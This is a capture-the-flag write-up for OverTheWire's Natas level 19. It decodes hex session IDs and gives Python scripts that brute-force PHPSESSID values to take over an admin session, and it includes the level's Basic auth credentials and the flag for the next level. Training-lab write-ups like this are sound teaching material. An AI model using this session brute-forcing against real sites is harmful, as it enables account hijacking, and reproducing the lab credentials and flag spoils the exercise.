Problem :lock:

We arrive at a login portal for admin(s) and non-admins, but this time with a little note.

Solution :key:

No source this time, but I think it’s another session id brute force. So let’s take a look at the request in burp.

We can see that we’re always given a new session id everytime we request the page. The sessionn ids also have a bit of pattern, here’s some I noticed:

Now if we look at man ascii, we see that the hex values of ascii digits always start with 3, because they are in the range of 30 - 39 (hex), we also see that 2d is actually a dash -.

Here’s a little ascii table for reference
   2 3 4 5 6 7   
 -------------   
0:   0 @ P ` p  
1: ! 1 A Q a q   
2: " 2 B R b r 
3: # 3 C S c s
4: $ 4 D T d t
5: % 5 E U e u
6: & 6 F V f v 
7: ' 7 G W g w 
8: ( 8 H X h x  
9: ) 9 I Y i y 
A: * : J Z j z
B: + ; K [ k {
C: , < L \ l |
D: - = M ] m }
E: . > N ^ n ~
F: / ? O _ o DEL

With this we can try to convert our cookies from hex to ascii, and we’ll get 3 digit numbers ending with a dash.

Let’s try and bruteforce by trying out cookies from 0-999 appended with a - then converted into a hex string, we’ll use python.

import requests
import sys

url = "http://natas19.natas.labs.overthewire.org/index.php"
authheader = {
    "Authorization": "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==",
}
s = requests.Session()
s.headers.update(authheader)

payload = {
    "username": "",
    "password": ""
}
cookies = {
    "PHPSESSID": ""
}
for i in range(1000):
    try:
        newcookie = str(i)+"-"
        newcookie = newcookie.encode("hex")
        cookies["PHPSESSID"] = newcookie

        sys.stdout.write("\r%s" % newcookie)
        sys.stdout.flush()

        r = s.post(url, data=payload, cookies=cookies)
    except Exception as e:
        print e
    
    if r.text.find("You are logged in as a regular user") == -1:
        print ""
        print r.text
        break

Now let’s execute it! Btw the \r thing is just to make the terminal output a bit cooler like this.

After running it and trying out all 1000 possibilities, none worked. The script just ended with no output other than the last cookie tried.

So let’s take a look at the source from natas18, we’re reminded that there’s this function.

function isValidAdminLogin() { 
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}

Notice the for now. part? Well let’s try that out in this level then, see if this “method of authentication” has been reenabled or not.

Looks like changing the username field changes the cookie we get (should’ve tried to fiddle with that first). If we look at the cookie, we get this extra 61646d696e appended to our cookie string, which I suspect to be the ascii hex value of admin.

Which it actually is, so let’s put that into our py script then.

import requests
import sys

url = "http://natas19.natas.labs.overthewire.org/index.php"
authheader = {
    "Authorization": "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==",
}
s = requests.Session()
s.headers.update(authheader)

payload = {
    "username": "admin",
    "password": ""
}
cookies = {
    "PHPSESSID": ""
}
for i in range(1000):
    try:
        newcookie = str(i)+"-"
        newcookie = newcookie + payload["username"]
        newcookie = newcookie.encode("hex")
        cookies["PHPSESSID"] = newcookie

        sys.stdout.write("\r%s" % newcookie)
        sys.stdout.flush()

        r = s.post(url, data=payload, cookies=cookies)
    except Exception as e:
        print e
    
    if r.text.find("You are logged in as a regular user") == -1:
        print ""
        print r.text
        break

Turns out it we’re right!

Looks like the function was reenabled.

Flag :checkered_flag:

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Takeaway :books: